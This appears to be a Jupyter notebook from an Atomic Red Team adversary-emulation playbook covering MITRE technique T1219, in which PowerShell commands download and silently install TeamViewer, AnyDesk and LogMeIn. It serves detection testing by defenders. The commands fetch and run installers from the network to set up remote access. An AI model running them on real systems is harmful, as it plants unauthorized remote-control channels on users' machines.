<jupyter_start><jupyter_text>T1219 - Remote Access SoftwareAn adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)Remote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)  Atomic Tests<jupyter_code>#Import the Module before running the tests.
# Checkout Jupyter Notebook at https://github.com/cyb3rbuff/TheAtomicPlaybook to run PS scripts.
Import-Module /Users/0x6c/AtomicRedTeam/atomics/invoke-atomicredteam/Invoke-AtomicRedTeam.psd1 - Force<jupyter_output><empty_output><jupyter_text>Atomic Test 1 - TeamViewer Files Detected Test on WindowsAn adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.**Supported Platforms:** windowsElevation Required (e.g. root or admin) Attack Commands: Run with `powershell````powershellInvoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"Start-Process $file1 /S;Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'```<jupyter_code>Invoke-AtomicTest T1219 -TestNumbers 1<jupyter_output><empty_output><jupyter_text>Atomic Test 2 - AnyDesk Files Detected Test on WindowsAn adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.**Supported Platforms:** windowsElevation Required (e.g. root or admin) Attack Commands: Run with `powershell````powershellInvoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"Start-Process $file1 /S;```<jupyter_code>Invoke-AtomicTest T1219 -TestNumbers 2<jupyter_output><empty_output><jupyter_text>Atomic Test 3 - LogMeIn Files Detected Test on WindowsAn adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.**Supported Platforms:** windowsElevation Required (e.g. root or admin) Attack Commands: Run with `powershell````powershellInvoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"Start-Process $file1 /S;Start-Process 'C:\Program Files (x86)\LogMeInIgnition\LMIIgnition.exe' "/S"```<jupyter_code>Invoke-AtomicTest T1219 -TestNumbers 3<jupyter_output><empty_output>
{'fraction_non_alphanumeric': 0.07677852348993289, 'fraction_numerical': 0.011543624161073825, 'mean_word_length': 6.193050193050193, 'pattern_counts': {'":': 0, '<': 17, '<?xml version=': 0, '>': 17, 'https://': 4, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 9, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'chain_length': '4', 'dir': 'jupyter-structured-clean-dedup', 'id': '365423', 'license': 'MIT', 'n_tokens_mistral': 1074, 'n_tokens_neox': 998, 'n_words': 382, 'path': 'playbook/tactics/command-and-control/T1219.ipynb', 'repo_name': 'haresudhan/The-AtomicPlaybook', 'size': '3725'}